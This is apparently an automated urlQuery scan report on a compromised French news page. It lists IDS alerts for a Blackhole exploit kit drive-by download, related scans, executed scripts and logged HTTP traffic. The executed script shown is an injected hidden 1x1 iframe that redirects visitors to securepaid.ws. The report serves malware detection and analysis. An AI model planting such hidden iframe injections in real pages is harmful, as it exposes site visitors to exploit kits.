Overview

URLhttp://www.ehstvnews.eu/news/
IP195.114.18.99
ASNAS41186 NUXIT s.a.r.l.
Location France
Report completed2012-11-06 04:46:20 CET
StatusLoading report..
urlQuery Alerts Detected BlackHole v1.x exploit kit URL pattern


Settings

UserAgentMozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Referer
Adobe Reader8.0
Java1.6.0_26


Intrusion Detection Systems

Suricata /w Emerging Threats Pro
Timestamp Source IP Destination IP Severity Alert
2012-11-06 04:45:39 urlQuery Client 64.70.19.1981ET CURRENT_EVENTS Likely Blackhole Exploit Kit Driveby Download Secondary Request
2012-11-06 04:45:40 88.191.132.179 urlQuery Client3FILEMAGIC Macromedia Flash data (compressed),
2012-11-06 04:45:45 173.194.69.95 urlQuery Client3FILEMAGIC Macromedia Flash data (compressed),
Snort /w Sourcefire VRT No alerts detected


Recent reports on same IP/ASN/Domain

Last 6 reports on IP: 195.114.18.99

Date Alerts / IDS URL IP
2012-12-09 19:07:111 / 5http://www.ehstvnews.eu/news/12062007localedrome.html195.114.18.99
2012-12-05 18:54:551 / 2http://www.next-up.org/divers/Telephonie_Mobile_et_AFSSET/communique_asl_telephonie_m (...)195.114.18.99
2012-11-17 02:19:001 / 3http://asl.next-up.org/main.php?param=chartreamf195.114.18.99
2012-11-16 12:28:301 / 4http://next-up.org/divers/Telephonie_Mobile_et_AFSSET/communique_asl_telephonie_mobil (...)195.114.18.99
2012-11-09 16:41:001 / 4http://ehstvnews.eu/news/195.114.18.99
2012-11-09 02:16:591 / 3http://ehstvnews.eu/news195.114.18.99

Last 6 reports on ASN: AS41186 NUXIT s.a.r.l.

Date Alerts / IDS URL IP
2013-02-09 00:34:530 / 2http://www.jean-montagard.com/qchklxb/195.114.19.111
2013-02-01 10:02:371 / 0http://www.eikhell.com/AtendimentoaoCliente/1.php195.114.18.144
2013-01-31 10:06:200 / 0http://www.clefdessens.com/prestashop/category.php?id_category=83&gclid=CMqLjq2wjbUCFePHtAo (...)94.247.178.110
2013-01-29 12:15:500 / 0http://www.azurhelico.com195.114.18.162
2013-01-29 12:08:580 / 0http://azurhelico.info94.247.176.157
2013-01-26 21:19:512 / 41http://viryexpress-transports.com/ekly.html195.114.18.131

Last 2 reports on domain: www.ehstvnews.eu

Date Alerts / IDS URL IP
2012-12-09 19:07:111 / 5http://www.ehstvnews.eu/news/12062007localedrome.html195.114.18.99
2012-10-30 16:15:481 / 3http://www.ehstvnews.eu/news/195.114.18.99



JavaScript

Executed Scripts (6)


Executed Evals (1)

#1 JavaScript::Eval (size: 138, repeated: 1) 

document.write('<iframe src="http://securepaid.ws/verified/index.php?tp=33fb16ab380e3c30" width="1" height="1" frameborder="0"></iframe>')

Executed Writes (2)

#1 JavaScript::Write (size: 381, repeated: 1) 

<head><meta http-equiv="Content-Type" content="text/html; charset=UTF8"><link rel="stylesheet" type="text/css" href="http://translate.googleapis.com/translate_static/css/translateelement.css"></head><body scroll="no" style="margin:0px;overflow:hidden" dir="ltr" marginHeight=0 marginWidth=0 leftMargin=0 topMargin=0 border=0><div id=":1.menuBody" class="goog-te-menu"></div></body>

#2 JavaScript::Write (size: 120, repeated: 1) 

<iframe src="http://securepaid.ws/verified/index.php?tp=33fb16ab380e3c30" width="1" height="1" frameborder="0"></iframe>


HTTP Transactions (60)


Request Response 
GET /news/ HTTP/1.1

Host: www.ehstvnews.eu

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
 
HTTP/1.1 200 OK

Content-Type: text/html

Date: Tue, 06 Nov 2012 03:45:38 GMT
Server: Apache
Last-Modified: Thu, 04 Aug 2011 15:18:57 GMT
Etag: &quot;1374f12-3d2c-7fe61a40&quot;
Accept-Ranges: bytes
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 3381
Keep-Alive: timeout=3, max=3000
Connection: Keep-Alive
GET /images/french_32_025.gif HTTP/1.1

Host: www.ehstvnews.eu

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.ehstvnews.eu/news/
 
HTTP/1.1 200 OK

Content-Type: image/gif

Date: Tue, 06 Nov 2012 03:45:38 GMT
Server: Apache
Last-Modified: Fri, 13 Jun 2008 12:52:23 GMT
Etag: &quot;1374ef2-460-bfc12fc0&quot;
Accept-Ranges: bytes
Content-Length: 1120
Keep-Alive: timeout=3, max=3000
Connection: Keep-Alive
GET /images/Spain_35_32.gif HTTP/1.1

Host: www.ehstvnews.eu

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.ehstvnews.eu/news/
 
HTTP/1.1 200 OK

Content-Type: image/gif

Date: Tue, 06 Nov 2012 03:45:38 GMT
Server: Apache
Last-Modified: Fri, 13 Jun 2008 12:52:24 GMT
Etag: &quot;1374ee5-ef-bfd07200&quot;
Accept-Ranges: bytes
Content-Length: 239
Keep-Alive: timeout=3, max=2999
Connection: Keep-Alive
GET /favicon.ico HTTP/1.1

Host: ehstvnews.eu

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
 
HTTP/1.1 404 Not Found

Content-Type: text/html; charset=iso-8859-1

Date: Tue, 06 Nov 2012 03:45:38 GMT
Server: Apache
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 183
Keep-Alive: timeout=3, max=3000
Connection: Keep-Alive
GET /images/allemagne_3.GIF HTTP/1.1

Host: www.ehstvnews.eu

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.ehstvnews.eu/news/
 
HTTP/1.1 200 OK

Content-Type: image/gif

Date: Tue, 06 Nov 2012 03:45:38 GMT
Server: Apache
Last-Modified: Fri, 13 Jun 2008 12:52:23 GMT
Etag: &quot;1374eea-420-bfc12fc0&quot;
Accept-Ranges: bytes
Content-Length: 1056
Keep-Alive: timeout=3, max=3000
Connection: Keep-Alive
GET /news/images/europe2lignearchives.png HTTP/1.1

Host: www.ehstvnews.eu

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.ehstvnews.eu/news/
 
HTTP/1.1 200 OK

Content-Type: image/png

Date: Tue, 06 Nov 2012 03:45:38 GMT
Server: Apache
Last-Modified: Wed, 31 Oct 2007 16:15:44 GMT
Etag: &quot;1374f1c-3bcf-3edaec00&quot;
Accept-Ranges: bytes
Content-Length: 15311
Keep-Alive: timeout=3, max=3000
Connection: Keep-Alive
GET /images/bandeauIndexvideos%20long.PNG HTTP/1.1

Host: www.ehstvnews.eu

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.ehstvnews.eu/news/
 
HTTP/1.1 200 OK

Content-Type: image/png

Date: Tue, 06 Nov 2012 03:45:38 GMT
Server: Apache
Last-Modified: Wed, 31 Oct 2007 16:13:46 GMT
Etag: &quot;1374eec-6136-37d26280&quot;
Accept-Ranges: bytes
Content-Length: 24886
Keep-Alive: timeout=3, max=3000
Connection: Keep-Alive
GET /verified/index.php?tp=33fb16ab380e3c30 HTTP/1.1

Host: securepaid.ws

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.ehstvnews.eu/news/
 
HTTP/1.1 200 OK

Content-Type: text/html; charset=ISO-8859-1

Server: nginx/1.2.3
Date: Tue, 06 Nov 2012 03:45:39 GMT
Content-Length: 586
Connection: keep-alive
GET /news/images/europe2copie.png HTTP/1.1

Host: www.ehstvnews.eu

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.ehstvnews.eu/news/
 
HTTP/1.1 200 OK

Content-Type: image/png

Date: Tue, 06 Nov 2012 03:45:38 GMT
Server: Apache
Last-Modified: Wed, 31 Oct 2007 16:15:43 GMT
Etag: &quot;1374f1b-1addb-3ecba9c0&quot;
Accept-Ranges: bytes
Content-Length: 110043
Keep-Alive: timeout=3, max=2999
Connection: Keep-Alive
GET /etnflash/introtest1.swf HTTP/1.1

Host: videos.next-up.org

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.ehstvnews.eu/news/
 
HTTP/1.1 200 OK

Content-Type: application/x-shockwave-flash

Date: Tue, 06 Nov 2012 03:45:40 GMT
Server: Apache
Last-Modified: Fri, 30 Jan 2009 15:10:56 GMT
Etag: &quot;340a8b-35b6-461b49c972000&quot;
Accept-Ranges: bytes
Content-Length: 13750
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
GET /get/flashplayer/update/current/xml/version_en_win_pl.xml HTTP/1.1

Host: fpdownload2.macromedia.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
 
HTTP/1.1 200 OK

Content-Type: text/xml

Server: Apache
Last-Modified: Wed, 03 Oct 2012 19:48:11 GMT
Etag: &quot;289dff-26c-4cb2ceb2654c0&quot;
Accept-Ranges: bytes
Content-Length: 620
Date: Tue, 06 Nov 2012 03:45:40 GMT
Connection: keep-alive
GET /news/images/A7%20Valence%20France%20copie.png HTTP/1.1

Host: www.ehstvnews.eu

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.ehstvnews.eu/news/
 
HTTP/1.1 200 OK

Content-Type: image/png

Date: Tue, 06 Nov 2012 03:45:38 GMT
Server: Apache
Last-Modified: Wed, 31 Oct 2007 16:15:39 GMT
Etag: &quot;1374f19-937a1-3e8ea0c0&quot;
Accept-Ranges: bytes
Content-Length: 604065
Keep-Alive: timeout=3, max=3000
Connection: Keep-Alive
GET /translate_a/element.js?cb=googleTranslateElementInit HTTP/1.1

Host: translate.google.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://website.ws/kvmlm2/index.dhtml?sponsor=wildcardform8&amp;template=13&amp;chk=1&amp;domain=securepaid.ws
Cookie: PREF=ID=18d07d2c5ecbbb08:U=205ee10a10512bfa:FF=0:TM=1350344350:LM=1350344627:S=oVTvNjgbzbFNBNUF; NID=64=UOjfkeau7k9dzmFvAsFwVqmD4s7g_bdUMaEnGOlKRSTKCit3R_G5xg2kMKTOgRf2IL0DzvimBbfFpj1mIHK6cKNk76wCsEyOlULvzyFq8aklSyHHGXGPdMpqcZCr8LfK
 
HTTP/1.1 200 OK

Content-Type: text/javascript; charset=UTF-8

Date: Tue, 06 Nov 2012 03:45:40 GMT
Expires: Fri, 01 Jan 1990 00:00:00 GMT
Cache-Control: no-cache, must-revalidate
Content-Language: en
Pragma: no-cache
X-Content-Type-Options: nosniff
Content-Disposition: attachment
Content-Encoding: gzip
Server: HTTP server (unknown)
Content-Length: 702
X-XSS-Protection: 1; mode=block
GET /kvmlm2/index.dhtml?sponsor=wildcardform8&template=13&chk=1&domain=securepaid.ws HTTP/1.1

Host: website.ws
GET /kvmlm2/index.dhtml?sponsor=wildcardform8&amp;template=13&amp;chk=1&amp;domain=securepaid.ws HTTP/1.1

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://securepaid.ws/verified/index.php?tp=33fb16ab380e3c30
 
HTTP/1.1 200 OK

Content-Type: text/html

Server: nginx/1.2.4
Date: Tue, 06 Nov 2012 03:45:40 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Expires: Tue, 06 Nov 2012 03:55:40 GMT
Set-Cookie: source=DSP_13; domain=.website.ws; path=/; expires=Fri, 04-Nov-2022 03:45:40 GMT
entry_ip=195.159.140.222; domain=.website.ws; path=/; expires=Fri, 04-Nov-2022 03:45:40 GMT
last_page=DSP_13; domain=.website.ws; path=/; expires=Fri, 04-Nov-2022 03:45:40 GMT
sponsor=wildcardform8; domain=.website.ws; path=/; expires=Fri, 04-Nov-2022 03:45:40 GMT
entry_time=1352173540; domain=.website.ws; path=/; expires=Fri, 04-Nov-2022 03:45:40 GMT
cookie_id=268165120026077723757518925851265169419; domain=.website.ws; path=/; expires=Fri, 04-Nov-2022 03:45:40 GMT
referer=http%3A%2F%2Fsecurepaid.ws%2Fverified%2Findex.php%3Ftp%3D33fb16ab380e3c30; domain=.website.ws; path=/; expires=Fri, 04-Nov-2022 03:45:40 GMT
Content-Encoding: gzip
GET /kvmlm2/images/13/v.png HTTP/1.1

Host: images2.website.ws

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://website.ws/kvmlm2/index.dhtml?sponsor=wildcardform8&amp;template=13&amp;chk=1&amp;domain=securepaid.ws
Cookie: source=DSP_13; entry_ip=195.159.140.222; last_page=DSP_13; sponsor=wildcardform8; entry_time=1352173540; cookie_id=268165120026077723757518925851265169419; referer=http%3A%2F%2Fsecurepaid.ws%2Fverified%2Findex.php%3Ftp%3D33fb16ab380e3c30
 
HTTP/1.0 200 OK

Content-Type: image/png

Server: nginx/1.2.0
Date: Mon, 05 Nov 2012 19:31:55 GMT
Content-Length: 3234
Last-Modified: Thu, 07 Jun 2012 15:13:56 GMT
Accept-Ranges: bytes
Expires: Wed, 05 Dec 2012 19:31:55 GMT
Age: 29626
Powered-By-ChinaCache: HIT from LEV-PR-1-3a4
Connection: keep-alive
GET /kvmlm2/css/layout13.css HTTP/1.1

Host: website.ws

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/css,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://website.ws/kvmlm2/index.dhtml?sponsor=wildcardform8&amp;template=13&amp;chk=1&amp;domain=securepaid.ws
Cookie: source=DSP_13; entry_ip=195.159.140.222; last_page=DSP_13; sponsor=wildcardform8; entry_time=1352173540; cookie_id=268165120026077723757518925851265169419; referer=http%3A%2F%2Fsecurepaid.ws%2Fverified%2Findex.php%3Ftp%3D33fb16ab380e3c30
 
HTTP/1.1 200 OK

Content-Type: text/css

Server: nginx/1.2.4
Date: Tue, 06 Nov 2012 03:45:41 GMT
Content-Length: 3702
Last-Modified: Thu, 07 Jun 2012 15:13:56 GMT
Connection: keep-alive
Content-Encoding: gzip
GET /kvmlm2/images/13/wp_pic.png HTTP/1.1

Host: images2.website.ws

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://website.ws/kvmlm2/index.dhtml?sponsor=wildcardform8&amp;template=13&amp;chk=1&amp;domain=securepaid.ws
Cookie: source=DSP_13; entry_ip=195.159.140.222; last_page=DSP_13; sponsor=wildcardform8; entry_time=1352173540; cookie_id=268165120026077723757518925851265169419; referer=http%3A%2F%2Fsecurepaid.ws%2Fverified%2Findex.php%3Ftp%3D33fb16ab380e3c30
 
HTTP/1.0 200 OK

Content-Type: image/png

Server: nginx/1.2.0
Date: Mon, 05 Nov 2012 16:19:25 GMT
Content-Length: 25900
Last-Modified: Thu, 07 Jun 2012 15:13:56 GMT
Accept-Ranges: bytes
Expires: Wed, 05 Dec 2012 16:19:25 GMT
Age: 41176
Powered-By-ChinaCache: HIT from LEV-PR-1-3a4
Connection: keep-alive
GET /kvmlm2/images/13/100.png HTTP/1.1

Host: images2.website.ws

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://website.ws/kvmlm2/index.dhtml?sponsor=wildcardform8&amp;template=13&amp;chk=1&amp;domain=securepaid.ws
Cookie: source=DSP_13; entry_ip=195.159.140.222; last_page=DSP_13; sponsor=wildcardform8; entry_time=1352173540; cookie_id=268165120026077723757518925851265169419; referer=http%3A%2F%2Fsecurepaid.ws%2Fverified%2Findex.php%3Ftp%3D33fb16ab380e3c30
 
HTTP/1.0 200 OK

Content-Type: image/png

Server: nginx/1.2.0
Date: Mon, 05 Nov 2012 19:31:55 GMT
Content-Length: 47247
Last-Modified: Thu, 07 Jun 2012 15:13:56 GMT
Accept-Ranges: bytes
Expires: Wed, 05 Dec 2012 19:31:55 GMT
Age: 29626
Powered-By-ChinaCache: HIT from LEV-PR-1-3a4
Connection: keep-alive
GET /kvmlm2/images/13/st_pic.png HTTP/1.1

Host: images2.website.ws

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://website.ws/kvmlm2/index.dhtml?sponsor=wildcardform8&amp;template=13&amp;chk=1&amp;domain=securepaid.ws
Cookie: source=DSP_13; entry_ip=195.159.140.222; last_page=DSP_13; sponsor=wildcardform8; entry_time=1352173540; cookie_id=268165120026077723757518925851265169419; referer=http%3A%2F%2Fsecurepaid.ws%2Fverified%2Findex.php%3Ftp%3D33fb16ab380e3c30
 
HTTP/1.0 200 OK

Content-Type: image/png

Server: nginx/1.2.0
Date: Mon, 05 Nov 2012 17:26:47 GMT
Content-Length: 52568
Last-Modified: Thu, 07 Jun 2012 15:13:56 GMT
Accept-Ranges: bytes
Expires: Wed, 05 Dec 2012 17:26:47 GMT
Age: 37134
Powered-By-ChinaCache: HIT from LEV-PR-1-3a4
Connection: keep-alive
GET /kvmlm2/images/13/arrow1.png HTTP/1.1

Host: images2.website.ws

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://website.ws/kvmlm2/index.dhtml?sponsor=wildcardform8&amp;template=13&amp;chk=1&amp;domain=securepaid.ws
Cookie: source=DSP_13; entry_ip=195.159.140.222; last_page=DSP_13; sponsor=wildcardform8; entry_time=1352173540; cookie_id=268165120026077723757518925851265169419; referer=http%3A%2F%2Fsecurepaid.ws%2Fverified%2Findex.php%3Ftp%3D33fb16ab380e3c30
 
HTTP/1.0 200 OK

Content-Type: image/png

Server: nginx/1.2.0
Date: Tue, 06 Nov 2012 00:08:23 GMT
Content-Length: 3628
Last-Modified: Thu, 07 Jun 2012 15:13:56 GMT
Accept-Ranges: bytes
Expires: Thu, 06 Dec 2012 00:08:23 GMT
Age: 13038
Powered-By-ChinaCache: HIT from LEV-PR-1-3a4
Connection: keep-alive
GET /translate_static/css/translateelement.css HTTP/1.1

Host: translate.googleapis.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/css,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://website.ws/kvmlm2/index.dhtml?sponsor=wildcardform8&amp;template=13&amp;chk=1&amp;domain=securepaid.ws
 
HTTP/1.1 200 OK

Content-Type: text/css

Vary: Accept-Encoding
Content-Encoding: gzip
Last-Modified: Tue, 22 May 2012 18:21:40 GMT
Date: Tue, 06 Nov 2012 03:28:35 GMT
Expires: Tue, 06 Nov 2012 04:28:35 GMT
X-Content-Type-Options: nosniff
Server: sffe
Content-Length: 3559
X-XSS-Protection: 1; mode=block
Age: 1026
Cache-Control: public, max-age=3600
GET /kvmlm2/images/13/sb_pic.png HTTP/1.1

Host: images2.website.ws

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://website.ws/kvmlm2/index.dhtml?sponsor=wildcardform8&amp;template=13&amp;chk=1&amp;domain=securepaid.ws
Cookie: source=DSP_13; entry_ip=195.159.140.222; last_page=DSP_13; sponsor=wildcardform8; entry_time=1352173540; cookie_id=268165120026077723757518925851265169419; referer=http%3A%2F%2Fsecurepaid.ws%2Fverified%2Findex.php%3Ftp%3D33fb16ab380e3c30
 
HTTP/1.0 200 OK

Content-Type: image/png

Server: nginx/1.2.0
Date: Mon, 05 Nov 2012 17:26:48 GMT
Content-Length: 69276
Last-Modified: Thu, 07 Jun 2012 15:13:56 GMT
Accept-Ranges: bytes
Expires: Wed, 05 Dec 2012 17:26:48 GMT
Age: 37133
Powered-By-ChinaCache: HIT from LEV-PR-1-3a4
Connection: keep-alive
GET /kvmlm2/images/13/trans1.png HTTP/1.1

Host: images2.website.ws

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://website.ws/kvmlm2/css/layout13.css
Cookie: source=DSP_13; entry_ip=195.159.140.222; last_page=DSP_13; sponsor=wildcardform8; entry_time=1352173540; cookie_id=268165120026077723757518925851265169419; referer=http%3A%2F%2Fsecurepaid.ws%2Fverified%2Findex.php%3Ftp%3D33fb16ab380e3c30
 
HTTP/1.0 200 OK

Content-Type: image/png

Server: nginx/1.2.0
Date: Tue, 06 Nov 2012 00:06:41 GMT
Content-Length: 4271
Last-Modified: Thu, 07 Jun 2012 15:13:56 GMT
Accept-Ranges: bytes
Expires: Thu, 06 Dec 2012 00:06:41 GMT
Age: 13140
Powered-By-ChinaCache: HIT from LEV-PR-1-3a4
Connection: keep-alive
GET /kvmlm2/images/13/email_pic.png HTTP/1.1

Host: images2.website.ws

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://website.ws/kvmlm2/index.dhtml?sponsor=wildcardform8&amp;template=13&amp;chk=1&amp;domain=securepaid.ws
Cookie: source=DSP_13; entry_ip=195.159.140.222; last_page=DSP_13; sponsor=wildcardform8; entry_time=1352173540; cookie_id=268165120026077723757518925851265169419; referer=http%3A%2F%2Fsecurepaid.ws%2Fverified%2Findex.php%3Ftp%3D33fb16ab380e3c30
 
HTTP/1.0 200 OK

Content-Type: image/png

Server: nginx/1.2.0
Date: Mon, 05 Nov 2012 17:26:50 GMT
Content-Length: 24278
Last-Modified: Thu, 07 Jun 2012 15:13:56 GMT
Accept-Ranges: bytes
Expires: Wed, 05 Dec 2012 17:26:50 GMT
Age: 37131
Powered-By-ChinaCache: HIT from LEV-PR-1-3a4
Connection: keep-alive
GET /translate_static/js/element/main.js HTTP/1.1

Host: translate.googleapis.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://website.ws/kvmlm2/index.dhtml?sponsor=wildcardform8&amp;template=13&amp;chk=1&amp;domain=securepaid.ws
 
HTTP/1.1 200 OK

Content-Type: text/javascript

Vary: Accept-Encoding
Content-Encoding: gzip
Last-Modified: Sat, 02 Jun 2012 02:49:04 GMT
Date: Tue, 06 Nov 2012 03:34:13 GMT
Expires: Tue, 06 Nov 2012 04:34:13 GMT
X-Content-Type-Options: nosniff
Server: sffe
Content-Length: 1542
X-XSS-Protection: 1; mode=block
Age: 688
Cache-Control: public, max-age=3600
GET /kvmlm2/images/13/get.png HTTP/1.1

Host: images2.website.ws

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
